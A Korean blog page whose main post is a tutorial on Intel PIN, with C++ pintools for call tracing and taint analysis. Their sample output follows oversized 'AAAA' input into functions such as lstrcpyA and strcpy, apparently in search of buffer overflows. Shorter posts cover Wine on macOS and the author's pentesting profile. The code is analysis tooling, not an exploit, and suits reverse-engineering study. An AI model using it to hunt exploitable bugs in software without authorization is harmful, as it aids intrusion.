DBI - pin & pintool

2017. 5. 22. 23:54



 PIN 에 대해서 공부한지는 조금 되었으나 적당히 기존 코드로만 붙여넣기 해서 사용했던 것이 사실이다. 최근 개인 프로젝트로 PIN 을 사용할 일이 생겨서 하는 김에 정리해 둔다.





PIN


 PIN 이란, Intel 에서 제작 및 관리중인 Dynamic Binary Instrumentation Framework 이다. BI 분야에서 실행을 하지 않고 조사하는 SBI 와 동적으로 실행중 코드를 조사하는 DBI 가 있는데, 그 중 PIN 은  DBI 를 위한 SDK(?) 정도로 볼 수 있다. 


Intel 이란 기업에서 관리하기 때문에 상당히 업데이트가 잘 되고 있으며 매뉴얼도 매우 충실하게 잘 되어 있다. 또한 수많은 예제코드가 들어 있어서 몇개의 코드만 분석해 보면 바로 사용방법을 알 수 있을 정도로 완성도가 높다. 


한가지 단점은 C++ 로 작성해서 DLL 로 컴파일 해야 하므로 스크립트 언어에 비해 수정&적용이 조금 오래 걸린다는 점이 있다. 하지만 이러한 단점은 장점에 비해 크지 않으므로 수년전부터 현재까지도 PIN 은 매우 인기 있는 DBI 프레임워크로 자리잡았다. 


PIN 은 그 자체로 pin.exe 로 독립된 바이너리이며, 실행 파일을 에뮬레이션 해준다. 에뮬레이션 하는 동안 PINTOOL 로 작성한 DLL 코드를 통해 다양하게 동적으로 코드를 수행할 수 있다.


 


PINTOOL


PINTOOL 은 PIN SDK 를 이용하여 개발한 라이브러리이다. pin.exe 실행 시 옵션으로(-t) 지정해주면 해당 PINTOOL 을 이용하여 타겟 바이너리를 실행시켜 준다.



Build PINTOOL


 다운로드 및 설치는 검색하면 많으니 타 자료를 참고바란다. 여러가지 방법이 있지만 개인적으로는 cygwin + make 가 편한 듯 하다. visual studio 로도 가능하지만 컴파일 프로그램 특성상 소스코드 수정, 컴파일 및 실행, 빌드된 파일 이동, 실행 등을 자주 해야 해서 차라리 make 로 배치 파일을 만드는 것이 편하다.


# make.bat

cd C:\Users\hyunmini\Desktop\pin-3.2-81205-msvc-windows\source\tools\MyPinTool

make 

copy /y obj-ia32\MyPinTool.dll c:\Users\FSI\Desktop\dbi\pin

cd c:\Users\hyunmini\Desktop\dbi\pin


 





Simple Example 1 - call tracer


#include "pin.H"
#include <asm/unistd.h>
#include <iostream>
#include <fstream>
#include <list>

UINT32 insCount = 0;    
UINT32 bblCount = 0;    
UINT32 threadCount = 0; 
UINT32 traceCount = 0;

std::ostream * out = &cerr;

KNOB<string> KnobTraceString(KNOB_MODE_WRITEONCE,  "pintool",
    "s", "", "trace string");

INT32 Usage()
{
    cerr << "This tool prints out the traced call with arguments." << endl;
    cerr << KNOB_BASE::StringKnobSummary() << endl;
    return -1;
}

string invalid = "invalid_rtn";

const string *Target2String(ADDRINT target) {
    string name = RTN_FindNameByAddress(target);
    if (name == "") {
        return &invalid;
    } else if (name == ".text" || name == "unnamedImageEntryPoint") {
        return new string(StringFromAddrint(target));
    }
    else
        return new string(name);
}

string ReadCString(ADDRINT target){
    ADDRINT Buffer;
    PIN_SafeCopy(&Buffer, (ADDRINT *)(target), sizeof(ADDRINT));
    string cstring;
    while (1) {
        char c = 0;
        if (PIN_SafeCopy(&c, (ADDRINT *) Buffer, 1) != 1)
            break;
        if (c == 0)
            break;
        cstring += c;
        Buffer += 1;
    }
    return cstring;
}

VOID  do_call_args(ADDRINT ins,const string *s, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    PIN_LockClient();
    string img_name = IMG_Name(IMG_FindByAddress(ins));
    PIN_UnlockClient();
    string base_img_name = img_name.substr(img_name.find_last_of("/\\") + 1);
    string argstr1 = ReadCString(esp);
    string argstr2 = ReadCString(esp+4);
    string argstr3 = ReadCString(esp+8);
    if( 
        argstr1.find(KnobTraceString.Value()) != string::npos || 
        argstr2.find(KnobTraceString.Value()) != string::npos || 
        argstr3.find(KnobTraceString.Value()) != string::npos
      ){
        *out << StringFromAddrint(ins) << " : " << base_img_name << "!" << *s << "(0x" << std::hex << arg0 << ", 0x" << arg1 << ", 0x" << arg2 << "...)" << endl;
        if(argstr1.length()>10){
            argstr1 = argstr1.substr(0,10);
            argstr1 += "...";
        }
        if(argstr2.length()>10){
            argstr2 = argstr2.substr(0,10);
            argstr2 += "...";
        }
        if(argstr3.length()>10){
            argstr3 = argstr3.substr(0,10);
            argstr3 += "...";
        }
        *out << "    arg1 : " << argstr1 << endl;
        *out << "    arg2 : " << argstr2 << endl;
        *out << "    arg3 : " << argstr3 << endl;
    }
}

VOID  do_call_args_indirect(ADDRINT ins, ADDRINT target, BOOL taken, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    if( !taken ) return;
    const string *s = Target2String(target);
    do_call_args(ins, s, arg0, arg1, arg2, esp);
    if (s != &invalid)
        delete s;
}

/* ===================================================================== */

VOID Trace(TRACE trace, VOID *v)
{
    PIN_LockClient();
    IMG img = IMG_FindByAddress(TRACE_Address(trace));
    PIN_UnlockClient();

    if (IMG_Valid(img) && IMG_IsMainExecutable(img)){
        for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
        {
            INS tail = BBL_InsTail(bbl);
            if( INS_IsCall(tail) ) {
                if( INS_IsDirectBranchOrCall(tail) ) {
                    // direct call
                    const ADDRINT target = INS_DirectBranchOrCallTargetAddress(tail);
                    INS_InsertPredicatedCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args),
                                                IARG_INST_PTR,
                                                IARG_PTR, Target2String(target), 
                                                IARG_FUNCARG_CALLSITE_VALUE, 0,
                                                IARG_FUNCARG_CALLSITE_VALUE, 1,
                                                IARG_FUNCARG_CALLSITE_VALUE, 2,
                                                IARG_REG_VALUE, REG_ESP,
                                                IARG_END);
                }
                else {
                    // indirect call
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);
                }
            }
            else {
                RTN rtn = TRACE_Rtn(trace);
                if( RTN_Valid(rtn) && !INS_IsDirectBranchOrCall(tail)) {
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);       
                }
            }
        }
    }
}

int main(int argc, char *argv[])
{
    PIN_InitSymbols();
    if( PIN_Init(argc,argv) ){  return Usage(); }
    string fileName = "trace_result.txt";
    if (!fileName.empty()) { out = new std::ofstream(fileName.c_str());}

    TRACE_AddInstrumentFunction(Trace, 0);

    PIN_StartProgram();
    return 0;
}



실행결과


x00489d99 : VUPlayer.exe!_mbscmp(0x3c34f3c, 0x3be35f8, 0x74aeac8...)
    arg1 : AAAAAAAAAA...
    arg2 : #VUPlayer ...
    arg3 : 
0x004552ac : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f140, 0x0...)
    arg1 : AAAAAAAAAA...
    arg2 : mod
    arg3 : 
0x004552d2 : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f13c, 0x0...)
    arg1 : AAAAAAAAAA...
    arg2 : s3m
    arg3 : 
0x004552f8 : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f138, 0x0...)
    arg1 : AAAAAAAAAA...
    arg2 : xm
    arg3 : 

0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : dœP
0x004562a3 : VUPlayer.exe!0x004b9f68(0x0, 0x3c3408c, 0x0...)
    arg1 : 
    arg2 : AAAAAAAAAA...
    arg3 : 
0x004b9f68 : VUPlayer.exe!BASS_MusicLoad(0x4562a8, 0x0, 0x3c3408c...)
    arg1 : ‰Eüƒ}ü
    arg2 : 
    arg3 : AAAAAAAAAA...
0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : dœP
0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : dœP
0x00453313 : VUPlayer.exe!lstrcpyA(0x12cc44, 0x3c3408c, 0x12d3a8...)
    arg1 : 
    arg2 : AAAAAAAAAA...
    arg3 : 0ü¿4P
0x00453325 : VUPlayer.exe!fopen(0x12cc44, 0x51e098, 0x12d3a8...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : AAAAAAAAAA...






Taint Analysis with PIN


taint analysis 는 이론부터 설명하면 매우 길기 때문에 더이상의 설명은 생략한다!(...)

결론은 쓸만하지만 오류 없이 쓰려면 훨~씬 세세한 컨트롤을 해줘야 함. 그러므로 여기까지만..


 * 코드 일부 생략.

 ** (http://shell-storm.org/blog/Taint-analysis-and-pattern-matching-with-Pin 코드를 아주 많이 참고 하였음을 밝힙니다)


#include "pin.H"

#include <asm/unistd.h>
#include <iostream>
#include <fstream>
#include <list>

UINT32 insCount = 0;    
UINT32 bblCount = 0;    
UINT32 threadCount = 0;
UINT32 traceCount = 0;
BOOL start_taint = false;

std::ostream * out = &cerr;
std::list<ADDRINT> addressTainted;
std::list<REG> regsTainted;

string invalid = "invalid_rtn";

////////////////////////
//  trace user input  //
////////////////////////

VOID fgetsBefore(ADDRINT arg0, ADDRINT arg1, ADDRINT arg2) {
    *out << "[Taint] fgets() : " << endl;
    *out << " buf : 0x" << std::hex << arg1 << endl;
    *out << " size : 0x" << arg2 << endl;
    int size = static_cast<ADDRINT>(arg2);
    start_taint = true;
    for (int i=0;i<size;i++){
        addressTainted.push_back(arg1+i);
    }
}

VOID recvBefore(ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT arg3) {
    *out << "[Taint] recv() : " << endl;
    *out << " buf : 0x" << std::hex << arg2 << endl;
    *out << " size : 0x" << arg3 << endl;
    int size = static_cast<ADDRINT>(arg3);
    start_taint = true;
    for (int i=0;i<size;i++){
        addressTainted.push_back(arg2+i);
    }
}

///////////////////////
/// taint analysis  ///
///////////////////////
bool IsRegTainted(REG reg){
    list<REG>::iterator i;

    for(i = regsTainted.begin(); i != regsTainted.end(); i++){
        if (*i == reg){
          return true;
        }
    }
    return false;
}

bool IsMemTainted(ADDRINT mem){
    list<ADDRINT>::iterator i;
    for(i = addressTainted.begin(); i != addressTainted.end(); i++){
        if (mem == *i){
            return true;
        }
    }
    return false;
}

bool removeRegTainted(REG reg){
  switch(reg){

    case REG_EAX:  regsTainted.remove(REG_EAX);
    case REG_AX:   regsTainted.remove(REG_AX);
    case REG_AH:   regsTainted.remove(REG_AH);
    case REG_AL:   regsTainted.remove(REG_AL);
         break;

    case REG_EBX:  regsTainted.remove(REG_EBX);
    case REG_BX:   regsTainted.remove(REG_BX);
    case REG_BH:   regsTainted.remove(REG_BH);
    case REG_BL:   regsTainted.remove(REG_BL);
         break;

    case REG_ECX:  regsTainted.remove(REG_ECX);
    case REG_CX:   regsTainted.remove(REG_CX);
    case REG_CH:   regsTainted.remove(REG_CH);
    case REG_CL:   regsTainted.remove(REG_CL);
         break;

    case REG_EDX:  regsTainted.remove(REG_EDX); 
    case REG_DX:   regsTainted.remove(REG_DX); 
    case REG_DH:   regsTainted.remove(REG_DH); 
    case REG_DL:   regsTainted.remove(REG_DL); 
         break;

    case REG_EDI:  regsTainted.remove(REG_EDI); 
    case REG_DI:   regsTainted.remove(REG_DI); 
         break;

    case REG_ESI:  regsTainted.remove(REG_ESI); 
    case REG_SI:   regsTainted.remove(REG_SI); 
         break;

    default:
      return false;
  }
  *out  << "\t\t\t" << REG_StringShort(reg) << " is now freed" << std::endl;
  return true;
}

bool taintReg(REG reg){
    if (IsRegTainted(reg)){
        * out << "\t\t\t" << REG_StringShort(reg) << " is already tainted" << std::endl;
        return false;
    }

    switch(reg){

        case REG_EAX:  regsTainted.push_front(REG_EAX); 
        case REG_AX:   regsTainted.push_front(REG_AX); 
        case REG_AH:   regsTainted.push_front(REG_AH); 
        case REG_AL:   regsTainted.push_front(REG_AL); 
            break;

        case REG_EBX:  regsTainted.push_front(REG_EBX);
        case REG_BX:   regsTainted.push_front(REG_BX);
        case REG_BH:   regsTainted.push_front(REG_BH);
        case REG_BL:   regsTainted.push_front(REG_BL);
            break;

        case REG_ECX:  regsTainted.push_front(REG_ECX);
        case REG_CX:   regsTainted.push_front(REG_CX);
        case REG_CH:   regsTainted.push_front(REG_CH);
        case REG_CL:   regsTainted.push_front(REG_CL);
            break;

        case REG_EDX:  regsTainted.push_front(REG_EDX); 
        case REG_DX:   regsTainted.push_front(REG_DX); 
        case REG_DH:   regsTainted.push_front(REG_DH); 
        case REG_DL:   regsTainted.push_front(REG_DL); 
            break;

        case REG_EDI:  regsTainted.push_front(REG_EDI); 
        case REG_DI:   regsTainted.push_front(REG_DI); 
            break;

        case REG_ESI:  regsTainted.push_front(REG_ESI); 
        case REG_SI:   regsTainted.push_front(REG_SI); 
            break;

        default:
            *out  << "\t\t\t" << REG_StringShort(reg) << " can't be tainted" << std::endl;
            return false;
  }
  *out << "\t\t\t" << REG_StringShort(reg) << " is now tainted" << std::endl;
  return true;
}

VOID ReadMem(INS ins, ADDRINT memOp){
    // memory -> reg
    list<ADDRINT>::iterator i;
    ADDRINT addr = memOp;
    REG read_reg;
  
    if (INS_OperandCount(ins) != 2)
        return;

    read_reg = INS_OperandReg(ins, 0);
    for(i = addressTainted.begin(); i != addressTainted.end(); i++){
        if (addr == *i){
            // tainted memory > register
            *out << "[Read][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
            taintReg(read_reg);
            return ;
        }
    }
    if (IsRegTainted(read_reg)){
        // untainted memory > tainted register => clear reg
        *out << "[Read][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
        removeRegTainted(read_reg);
    }
}

VOID WriteMem(INS ins, ADDRINT memOp){
    // reg -> memory
    list<ADDRINT>::iterator i;
    ADDRINT addr = memOp;
    REG read_reg;
  
    if (INS_OperandCount(ins) != 2)
        return;

    read_reg = INS_OperandReg(ins, 1);
    for(i = addressTainted.begin(); i != addressTainted.end(); i++){
        if (addr == *i){
            // tainted memory
            *out << "[Write][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
            if (!REG_valid(read_reg) || !IsRegTainted(read_reg)){
                // untainted register > tainted memory => clear memory
                addressTainted.remove(addr);
            }
            *out << std::hex << "\t\t\t0x" << addr << " is now freed" << std::endl;
            return;
        }
    }

    if (IsRegTainted(read_reg)) {
    // tainted reg > untainted memory => tainted
        addressTainted.push_back(addr);
        *out << std::hex << "\t\t\t0x" << addr << " is now tainted" << std::endl;
        return;
    }
}

VOID spreadReg(INS ins)
{
    REG reg_r, reg_w;

    if (INS_OperandCount(ins) != 2) return;

    reg_r = INS_RegR(ins, 0);  // src
    reg_w = INS_RegW(ins, 0);  // dest 

    if (REG_valid(reg_w)){
        // reg_w not const(address)
        if (IsRegTainted(reg_w) && (!REG_valid(reg_r) || !IsRegTainted(reg_r))){
            // untainted reg > tainted reg => clear reg
            *out  << "[SPREAD]\t\t" << INS_Address(ins) << ": " << INS_Disassemble(ins) << std::endl;
            *out  << "\t\t\toutput: "<< REG_StringShort(reg_w) << " | input: " << (REG_valid(reg_r) ? REG_StringShort(reg_r) : "constant") << std::endl;
            removeRegTainted(reg_w);
    }
    else if (!IsRegTainted(reg_w) && IsRegTainted(reg_r)){
        // tainted reg > untainted reg => tainted
        *out  << "[SPREAD]\t\t" << INS_Address(ins) << ": " << INS_Disassemble(ins) << std::endl;
        *out  << "\t\t\toutput: " << REG_StringShort(reg_w) << " | input: "<< REG_StringShort(reg_r) << std::endl;
        taintReg(reg_w);
        }
    }
}

VOID Instruction(INS ins, VOID *v){
    if (IMG_IsMainExecutable(IMG_FindByAddress(INS_Address(ins)))){
        // callback for read instruction
        // memory -> reg
        if (INS_OperandCount(ins) > 1 && INS_MemoryOperandIsRead(ins, 0) && INS_OperandIsReg(ins, 0)){
            if (start_taint){
                  INS_InsertCall(
                    ins, IPOINT_BEFORE, (AFUNPTR)ReadMem,
                    IARG_PTR, ins,
                    IARG_MEMORYOP_EA, 0,
                    IARG_END);
            }
        }
        // callback for write instruction
        // reg -> memory
        else if (INS_OperandCount(ins) > 1 && INS_MemoryOperandIsWritten(ins, 0)){
            if (start_taint){
                INS_InsertCall(
                    ins, IPOINT_BEFORE, (AFUNPTR)WriteMem,
                    IARG_PTR, ins,
                    IARG_MEMORYOP_EA, 0,
                    IARG_END);
            }
        }
        // callback for spread instruction
        // reg -> reg
        else if (INS_OperandCount(ins) > 1 && INS_OperandIsReg(ins, 0)){
            if (start_taint){
                //*out << "[Spread][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
                 INS_InsertCall(
                    ins, IPOINT_BEFORE, (AFUNPTR)spreadReg,
                    IARG_PTR, ins,
                    IARG_END);
            }
        }
    }
}

VOID Image(IMG img, VOID *v){
    // fgets(&Buf, 2000, File);
    RTN fgetsRtn = RTN_FindByName(img, "fgets");
    if (RTN_Valid(fgetsRtn))
    {
        RTN_Open(fgetsRtn);
        RTN_InsertCall(fgetsRtn, IPOINT_BEFORE, (AFUNPTR)fgetsBefore,
                        IARG_FUNCARG_CALLSITE_VALUE, 0,
                        IARG_FUNCARG_CALLSITE_VALUE, 1,
                        IARG_FUNCARG_CALLSITE_VALUE, 2,
                        IARG_END);
        RTN_Close(fgetsRtn);
    }
    // recv(sock, &buf, 2000, 0);
    RTN recvRtn = RTN_FindByName(img, "recv");
    if (RTN_Valid(recvRtn))
    {
        RTN_Open(recvRtn);
        RTN_InsertCall(recvRtn, IPOINT_BEFORE, (AFUNPTR)recvBefore,
                        IARG_FUNCARG_CALLSITE_VALUE, 0,
                        IARG_FUNCARG_CALLSITE_VALUE, 1,
                        IARG_FUNCARG_CALLSITE_VALUE, 2,
                        IARG_FUNCARG_CALLSITE_VALUE, 3,
                        IARG_END);
        RTN_Close(recvRtn);
    }
}

VOID Fini(INT32 code, VOID *v){
    /*
    list<ADDRINT>::iterator li;
    for(li=addressTainted.begin(); li!=addressTainted.end(); li++){
        * out << std::hex << *li << endl;
    }
    */
    *out << "[+] Finish!!" << endl;
}

/////////////////////////////
//////   call trace /////////
/////////////////////////////
const string *Target2String(ADDRINT target) {
    string name = RTN_FindNameByAddress(target);
    if (name == "") {
        return &invalid;
    } else if (name == ".text" || name == "unnamedImageEntryPoint") {
        return new string(StringFromAddrint(target));
    }
    else
        return new string(name);
}

string ReadCString(ADDRINT target){
    ADDRINT Buffer;
    PIN_SafeCopy(&Buffer, (ADDRINT *)(target), sizeof(ADDRINT));
    string cstring;
    while (1) {
        char c = 0;
        if (PIN_SafeCopy(&c, (ADDRINT *) Buffer, 1) != 1)
            break;
        if (c == 0)
            break;
        cstring += c;
        Buffer += 1;
    }
    return cstring;
}

VOID  do_call_args(ADDRINT ins,const string *s, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    PIN_LockClient();
    string img_name = IMG_Name(IMG_FindByAddress(ins));
    PIN_UnlockClient();
    string base_img_name = img_name.substr(img_name.find_last_of("/\\") + 1);
    string argstr1 = ReadCString(esp);
    string argstr2 = ReadCString(esp+4);
    string argstr3 = ReadCString(esp+8);
    bool tainted_func = false;

    if ( IsMemTainted(arg0) ) {
        tainted_func = true;
    }
    if ( IsMemTainted(arg1) ) {
        tainted_func = true;
    }
    if ( IsMemTainted(arg2) ) {
        tainted_func = true;
    }
    
    if ( tainted_func ) {
        *out << "[tainted arg]" << StringFromAddrint(ins) << " : " << base_img_name << "!" << *s << "(0x" << std::hex << arg0 << ", 0x" << arg1 << ", 0x" << arg2 << "...)" << endl;

        if (argstr1.length()>10){
            argstr1 = argstr1.substr(0,10);
            argstr1 += "...";
        }
        if (argstr2.length()>10){
            argstr2 = argstr2.substr(0,10);
            argstr2 += "...";
        }
        if (argstr3.length()>10){
            argstr3 = argstr3.substr(0,10);
            argstr3 += "...";
        }
        *out << "    arg1 : " << argstr1 << endl;
        *out << "    arg2 : " << argstr2 << endl;
        *out << "    arg3 : " << argstr3 << endl;
    }
}

VOID  do_call_args_indirect(ADDRINT ins, ADDRINT target, BOOL taken, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    if ( !taken ) return;
    const string *s = Target2String(target);
    do_call_args(ins, s, arg0, arg1, arg2, esp);
    if (s != &invalid)
        delete s;
}

/* ===================================================================== */

VOID Trace(TRACE trace, VOID *v)
{
    PIN_LockClient();
    IMG img = IMG_FindByAddress(TRACE_Address(trace));
    PIN_UnlockClient();

//    if (IMG_Valid(img) && IMG_IsMainExecutable(img)){
    if (IMG_Valid(img) && IMG_IsMainExecutable(img)){   
        for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
        {
            INS tail = BBL_InsTail(bbl);
            if ( INS_IsCall(tail) ) {
                if ( INS_IsDirectBranchOrCall(tail) ) {
                    // direct call
                    const ADDRINT target = INS_DirectBranchOrCallTargetAddress(tail);
                    INS_InsertPredicatedCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args),
                                                IARG_INST_PTR,
                                                IARG_PTR, Target2String(target), 
                                                IARG_FUNCARG_CALLSITE_VALUE, 0,
                                                IARG_FUNCARG_CALLSITE_VALUE, 1,
                                                IARG_FUNCARG_CALLSITE_VALUE, 2,
                                                IARG_REG_VALUE, REG_ESP,
                                                IARG_END);
                }
                else {
                    // indirect call
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);
                }
            }
            else {
                RTN rtn = TRACE_Rtn(trace);
                if ( RTN_Valid(rtn) && !INS_IsDirectBranchOrCall(tail)) {
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);       
                }
            }
        }
    }
}
/////////////////////////////////////////////////
////////////// call trace end ///////////////////
/////////////////////////////////////////////////

int main(int argc, char *argv[]){
    PIN_InitSymbols();
    if ( PIN_Init(argc,argv) ){ return -1; }
    string fileName = "taint_analysis_result.txt";
    if (!fileName.empty()) { out = new std::ofstream(fileName.c_str());}

    IMG_AddInstrumentFunction(Image, 0);
    INS_AddInstrumentFunction(Instruction, 0);
    TRACE_AddInstrumentFunction(Trace, 0);
    PIN_AddFiniFunction(Fini, 0);

    PIN_StartProgram();
    return 0;
}




실행결과


[Taint] fgets() : 
 buf : 0x12f76c
 size : 0x7d0
[tainted arg]0x0040113e : reader_taint.exe!myreadfile(0x12f76c, 0x61616161, 0x61616161...)
    arg1 : aaaaaaaaaa...
    arg2 : 
    arg3 : 
[Read][0x401029] : mov dl, byte ptr [ecx+0x5]
            dl is now tainted
            0x12f55f is now tainted
[Read][0x401035] : mov cl, byte ptr [eax+0x6]
            cl is now tainted
            0x12f55d is now tainted
[Read][0x401041] : mov al, byte ptr [edx+0x8]
            al is now tainted
            0x12f55e is now tainted
[Write][0x40104d] : mov byte ptr [ecx+0x2], 0x66
            0x12f76e is now freed
[Write][0x401054] : mov byte ptr [edx+0x4], 0x67
            0x12f770 is now freed
[Write][0x40105b] : mov byte ptr [eax+0xb], 0x68
            0x12f777 is now freed
[Write][0x401062] : mov byte ptr [ecx+0x15], 0x6d
            0x12f781 is now freed
[tainted arg]0x00401071 : reader_taint.exe!strcpy(0x12f560, 0x12f76c, 0x61616101...)
    arg1 : 
    arg2 : aafagaaaaa...
    arg3 : 
[tainted arg]0x004010a0 : reader_taint.exe!main(0x401143, 0x12f76c, 0x61666161...)
    arg1 : ƒÄëë3À‹...
    arg2 : aafagaaaaa...
    arg3 : 
[+] Finish!!


한줄 요약 : PIN 은 위대하다. 그러나 정말 제대로 활용하려면 어렵다..


'Reversing' 카테고리의 다른 글

암호학 정리(for CTF)  (0) 2018.04.05
WinDBG 고급 명령어들  (0) 2017.06.07
DBI - Frida 를 이용한 DBI  (3) 2016.09.07
Embedded 기기 리버싱 - 펌웨어 리버싱  (1) 2016.07.14
Windbg 기본 - (3) 분석시 유용한 명령어들  (2) 2016.03.01

WINE


대부분의 작업은 맥을 사용하고 있으나 IDA 등을 사용하기 위해 Win7, Win10 가상머신을 함께 활용한다.


그러던 중 예~전 리눅스 배우던 초보 시절 실행해보고 감탄했던 wine 이 생각나서 찾아보니 맥에서도 


잘 돌아간다고 하는 포스팅을 보고 간단히 설치해 봤다. 결론부터 말하면 글꼴 등 세팅이 조금 귀찮지만


쓸만하다. 간단한 툴 뿐 아니라 IDA 처럼 무거운 툴도 잘 돌아간다.(심지어 빠르다!!) 










설치


# brew cask install xquartz


# brew install wine






설치확인

$ wine<tab>

wine         winebuild    winecpp      winefile     winemaker    wineserver   

wine64       winecfg      winedbg      wineg++      winemine     

wineboot     wineconsole  winedump     winegcc      winepath    





Windows 용 프로그램 실행



 구조를 보니 홈폴더 하위에 .wine 폴더가 생기고 그 아래에 윈도우와 동일한 폴더구조가 생성된다. 


 특이점으로 레지스트리 하이브 파일도 .wine 폴더에 있다. vi 로 쉽게 수정이 가능하다.




 우선 노트패드를 실행해 봤다. 잘된다.





원래 목적이었던 IDA 를 실행해 봤다. 글꼴이 좀 구리지만 잘된다. 


글꼴설치는  ~/.wine/drive_c/windows/fonts 폴더에 복사해주면 된다고 한다.



가끔 급할때 쓰면 좋겠다. 끝.

'ETC' 카테고리의 다른 글

NULL@ROOT 2015년 신입회원 모집  (0) 2015.06.05
NTFS 분석 툴 - Disk Editor  (0) 2014.10.28
pywinauto 를 이용한 윈도우 자동화(?)  (0) 2013.03.26

about me

2017. 4. 14. 15:24

   

                                 About hyunmini

 

                                                                                   last updated 2022.1.

 

 

 

  • 이력
    • 2011              KOSCOM 침해사고대응 (침해사고 대응 및 포렌식)
    • 2012~2015     금융결제원 금융ISAC (취약점 분석평가) 
    • 2019~2020      고려대학교 정보보호대학원 석사 
    • 2015~              금융보안원 (취약점 분석 및 모의해킹)
 
  • Skills
    • Penetration Testing ( Android / IOS / Web / N/W Infra / S/W Vuln Assessment )   +++++
    • Programming language ( Python / C / C++ / PHP / JSP / VB / etc...)   ++++
    • Reversing ( Binary Analysis / Malware Analysis )  ++++
    • Digital Forensic  +++
    • Windows Exploit Analysis / Development  ++++
    • Linux Pwnable ++
    • AI - Machine Learning ( Tensorflw / Keras / DeepLearning / NLP / etc... ) +++
 
  • Project
    • 500+           Website/Mobile App Penetration Testing
    • 50+             IT Infra Penetration Testing (Financial, Public institutions, etc...)
    • fmem          Android/iOS memory analyzer (using frida) 
    • dymon        Dynamic Mobile Pentesting Framework
    • webtools     Webhacking Scripting Framework (Python module, scriptable)
    • AIBFT          AI Browser Forensic Toolkit (Using Tensorflow, Keras)
    • nr2ai           Automated Malware Analysis using AI
    • zerocube      AI Based ZeroTrust Solution
    • AI를 적용한 클라이언트 사이드 기반 웹 공격 대응(BOB, 2020)
    • 인공지능 기반 3단계 인증을 도입한 차량 출입통제 시스템 및 가이드라인(BOB, 2021)
    • 전방위적 스캠 코인 탐지 체계 구축(BOB, 2021)
 
  • 관심분야
    • Windows Binary Analysis & Exploitation
    • BugHunting & Bounty
    • Application Hacking(Web/Mobile)
    • Digital Forensic
    • Data Science - AI(Machine Learning) for Security
 
  • 발표 및 강의
    • Security Automation : Malware Analysis using AI (2021)
    • Tech Stacks for Finance (2021)
    • bughunting windows application (2020)
    • scenario based pentesting (2020)
    • Realworld SQL Injection (2020)
    • Windows System Hacking: Advanced(win 10) (2020, 2021)
    • AI 배워서 인싸가 되고 싶었어요 (2019.12)
    • Hacking Air-gapped Network (2019.9)
    • Make SQL Injection Great Again (2019.6)
    • 윈도우 시스템 해킹 : 버그헌팅과 익스플로잇[기초, 고급] (2018.4, 2018.6, 2018.9)
    • Linux Pwnable (2018)
    • 리버스 엔지니어링 윈도우 (2018)
    • Browser Exploit & Bughunting (2017)
    • 윈도우 시스템 해킹 : 버그헌팅과 익스플로잇[고급] (2017)
    • CTF 개요 및 문제풀이 (2017)
    • 디지털 포렌식 (2016)
    • 악성코드 분석 기초 (2016)
    • 윈도우 시스템 해킹 : 버그헌팅과 익스플로잇[기초] (2016)
    • Attack Internet Explorer, UseAfterFree 와 ASLR (2014)
    • 안드로이드 앱 해킹 (2013)
    • 새로운 웹해킹 기술, HTML5 (2012)
    • APT공격 개요와 시연, 오픈소스 침해사고 대응 (2012)
    • Acrobat Reader Attack (2011)
    • Web Pentesting (2011) 
    • Malware analyze (2011)
